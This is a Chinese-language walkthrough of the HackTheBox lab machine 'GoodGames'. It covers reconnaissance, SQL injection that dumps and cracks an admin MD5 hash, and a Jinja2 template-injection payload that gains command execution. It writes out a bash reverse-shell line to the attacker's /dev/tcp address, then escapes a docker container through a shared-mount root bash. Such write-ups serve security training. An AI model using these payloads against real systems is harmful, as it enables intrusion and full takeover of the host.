HacktheBox - Machines - GoodGame

靶机ip:10.10.11.130 攻击机IP:10.10.14.28

1.信息搜集

Nmap scan report for 10.10.11.130  
Host is up (0.30s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|\_http-title: GoodGames | Community and Store
|\_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.22 seconds

只有一个tcp 80 端口开放,并且有域名,那么在 c:\windows\system32\drivers\etc\hosts 文件中添加ip对应的域名即可成功访问。

来到web页面,发现是一个游戏相关的网站,其中图片链接打开后去除图片名并不存在目录遍历

页面其他链接都指向页面本身,除了有一个 BlogStore 以及右上角的小人图标

Blog 页面只发现这一个有用的链接,尝试了sql注入发现并不存在。

此时扫描目录和子域名爆破同时进行:

子域名无结果

目录扫描结果如下:

Target: http://goodgames.htb/  

[19:25:35] Starting:
[19:27:05] 200 - 43KB - /blog
[19:27:50] 200 - 9KB - /login
[19:27:52] 302 - 208B - /logout -> http://goodgames.htb/
[19:28:15] 200 - 9KB - /profile
[19:28:27] 200 - 33KB - /signup

Task Completed

直接访问login、profile 分别提示405、500,web框架使用的 Flask


点击首页的右上角小人图标,弹出一个表单,登录、密码找回、注册用户。

这里不知道邮箱和密码,先看看注册功能,点击注册 跳转到一个可以注册可以登录的页面 signup

这里我注册admin@goodgames.htb显示账户已存在,这时候肯定爆破一下弱口令。

但是结果可想而知,并不理想,因为网络有点不稳定,所以跑了500就没跑了。

自己注册一个 kam1 用户,登录之后再看看profile里面有些什么东西。

此时得到信息:该靶机只有一个80端口开放,没有发现子域名,没有敏感信息泄露,无SSTI(模板注入),弱口令夭折,得到可访问页面若干

2.漏洞利用

0x01. SQL注入

来到profile界面之后,发现页面只有一个重置密码的功能,并无其他资料修改的功能

抓包 修改密码 看看有没有越权

好!没有越权操作。

抠了一下脑壳,突然想到,blog页面的get传参sql注入测试过没有,但是表单这里还有没有测试sql注入呀。

既然说出来了那么就要有行动,RUSH!

Login Success!

刚刚页面有欢迎语句,搜索一下Welcome看看现在是什么身份。

这里有三个用户,admin、kami、kam1 后面两个都是我注册的。

现在去登录页面,因为前端js校验邮箱正确与否,输入正确邮箱格式抓包修改参数即可。

虽然成功进入了后台,但是并没有啥卵用啊,啥功能也没有。

还是回到sql注入找找信息吧。

逐字猜解,有四个字段,回显点在第四个字段

因为之前爆用户的时候可以看到将三个用户名紧凑在一起,所以上面用分号隔开来了。

当前得到信息:当前用户并非dba权限,数据库中只有maininformation_schema两个库,user表中有四个字段,分别是idemailpasswordname

查询一下这个表里面的所有东西

password值是md5加密的,去撞库看看能不能得到明文

得到密码:superadministrator

0x02. SSTI(模板注入)

通过管理员登录之后可以看到原先右上角的两个图标变成了三个,多出来一个小齿轮,鼠标指针移动到这发现是跳转到一个子域名,在hosts文件中添加后,跳转访问。

直接就是一个flask登录表单页面,没有其他的花里胡哨的东西,同样admin,pass:superadministraotr登录成功

登陆之后发现文件上传、添加用户、搜索等功能,但是经过测试,这些都是指向页面本身,并没有其他作用

好在这里还有一个设置页面,可以修改用户名,插入一条xss语句

页面编程语言依旧是python,同样使用的flask

flask存在一个SSTI,那么现在来测试一下便知:poc:{{9\*9}} 如果得到结果81,则存在SSTI

测试结果为81,当前存在SSTI

既然存在SSTI,接下来就是执行系统命令的阶段了,原理方面就是通过python调用本身的类中的函数去执行一些自己想要执行的操作,比如执行命令,文件读取等。

payload:

{{ namespace.__init__.__globals__.os.popen('id').read() }}

执行id命令成功,现在反弹一个shell过来。

exploit:
{{namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.28/1234 0>&1"').read()}}

3. 权限提升

来到根目录,ls -la一下发现有一个 .dockerenv 看来这是在docker中了。

通过ifconfig可以看到这里还有另外一个ip:172.19.0.2,循环ping一下这个网段有几台主机

只发现了还有一个 172.19.0.1,多半是docker的主机了。

循环ping一下这台机器的所有端口,只有22和80端口开放。

尝试ssh,刚刚在/home/augustus中找到了user.txt,这里直接用这个用户吧

登录成功,账号augustus,密码superadministrator

hostname -i 确定现在这台机器就是靶机,查看一下进程果然有docker进程

这边用户ls -la 列出来的文件 .bash_logout .bashrc .profile和docker中的文件大小一模一样,但是时间差了一个小时

那么我试试是否是在主机中创建文件,同样docker中也会有

可以看到,我在主机中创建了一个1.txt这时候再去docker中查看文件,docker中也生成了一个1.txt

那我再在docker中创建一个文件,看看是否主机会有反应呢。

可以看到我在docker中创建的txt跟上面一样,同时在宿主机中创建了,并且是root的权限

既然现在文件可以同步,可以尝试将宿主机的bash cp到augustus的目录,然后再在docker中将其权限设置为root去宿主机运行是否能得到一个root的shell呢

如此一来再运行bash这时候就会返回一个root的权限